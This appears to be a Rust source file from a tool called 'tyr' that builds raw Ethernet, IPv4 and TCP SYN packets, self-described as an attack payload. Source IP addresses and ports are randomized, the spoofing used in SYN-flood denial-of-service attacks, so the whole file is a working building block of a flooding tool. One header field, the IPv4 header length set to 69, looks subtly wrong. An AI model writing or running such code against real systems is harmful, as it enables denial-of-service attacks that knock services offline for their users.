tyr/payload/
syn.rs

1use std::net::Ipv4Addr;
2
3use pnet::packet::{ethernet, ip, ipv4, tcp};
4use pnet::{datalink, util::MacAddr};
5
6use crate::Result;
7use crate::util::get_random_ip;
8
9/// A attack payload for a SYN packet.
10pub struct SynPayload {
11    /// The source IP address.
12    pub src_ip: Ipv4Addr,
13    /// The destination IP address.
14    pub dst_ip: Ipv4Addr,
15    /// The source and destination port.
16    pub src_port: u16,
17    /// The source and destination port.
18    pub dst_port: u16,
19    /// The network interface to send the packet from.
20    pub interface: datalink::NetworkInterface,
21}
22
23impl SynPayload {
24    pub fn new(dst_ip: Ipv4Addr, dst_port: u16, interface: &datalink::NetworkInterface) -> Self {
25        Self {
26            src_ip: get_random_ip(),
27            dst_ip,
28            src_port: fastrand::u16(1024..65535),
29            dst_port,
30            interface: interface.clone(),
31        }
32    }
33
34    pub fn random(interface: &datalink::NetworkInterface) -> Self {
35        Self {
36            src_ip: get_random_ip(),
37            dst_ip: get_random_ip(),
38            src_port: fastrand::u16(1024..65535),
39            dst_port: fastrand::u16(1..65535),
40            interface: interface.clone(),
41        }
42    }
43
44    pub fn source_ip(&mut self, src_ip: Ipv4Addr) {
45        self.src_ip = src_ip;
46    }
47
48    pub fn destination_ip(&mut self, dst_ip: Ipv4Addr) {
49        self.dst_ip = dst_ip;
50    }
51
52    pub fn source_port(&mut self, src_port: u16) {
53        self.src_port = src_port;
54    }
55
56    pub fn destination_port(&mut self, dst_port: u16) {
57        self.dst_port = dst_port;
58    }
59}
60
61impl super::Payload for SynPayload {
62    fn build(&mut self, packet: &mut [u8]) -> Result<()> {
63        {
64            let mut ethernet_header =
65                ethernet::MutableEthernetPacket::new(&mut packet[..super::PKT_ETH_SIZE])
66                    .ok_or(crate::error::Error::InsufficientBuffer)?;
67            ethernet_header.set_destination(MacAddr::broadcast());
68            ethernet_header.set_source(self.interface.mac.ok_or(
69                crate::error::Error::InvalidInterface(format!(
70                    "Mac address for {} is not found",
71                    self.interface.name
72                )),
73            )?);
74            ethernet_header.set_ethertype(ethernet::EtherTypes::Ipv4);
75        }
76
77        {
78            let mut ipv4_header = ipv4::MutableIpv4Packet::new(
79                &mut packet[super::PKT_ETH_SIZE..(super::PKT_ETH_SIZE + super::PKT_IPV4_SIZE)],
80            )
81            .ok_or(crate::error::Error::InsufficientBuffer)?;
82            ipv4_header.set_header_length(69);
83            ipv4_header.set_total_length(52);
84            ipv4_header.set_next_level_protocol(ip::IpNextHeaderProtocols::Tcp);
85            ipv4_header.set_source(self.src_ip);
86            ipv4_header.set_destination(self.dst_ip);
87            ipv4_header.set_identification(fastrand::u16(..));
88            ipv4_header.set_ttl(64);
89            ipv4_header.set_version(4);
90            ipv4_header.set_flags(ipv4::Ipv4Flags::DontFragment);
91
92            let checksum = ipv4::checksum(&ipv4_header.to_immutable());
93            ipv4_header.set_checksum(checksum);
94        }
95
96        {
97            let mut tcp_header = tcp::MutableTcpPacket::new(
98                &mut packet[(super::PKT_ETH_SIZE + super::PKT_IPV4_SIZE)..],
99            )
100            .ok_or(crate::error::Error::InsufficientBuffer)?;
101
102            tcp_header.set_source(self.src_port);
103            tcp_header.set_destination(self.dst_port);
104
105            tcp_header.set_flags(tcp::TcpFlags::SYN);
106            tcp_header.set_window(64240);
107            tcp_header.set_data_offset(8);
108            tcp_header.set_urgent_ptr(0);
109            tcp_header.set_sequence(0);
110
111            tcp_header.set_options(&[
112                tcp::TcpOption::mss(1460),
113                tcp::TcpOption::sack_perm(),
114                tcp::TcpOption::nop(),
115                tcp::TcpOption::nop(),
116                tcp::TcpOption::wscale(7),
117            ]);
118
119            let checksum =
120                tcp::ipv4_checksum(&tcp_header.to_immutable(), &self.src_ip, &self.dst_ip);
121            tcp_header.set_checksum(checksum);
122        }
123
124        Ok(())
125    }
126}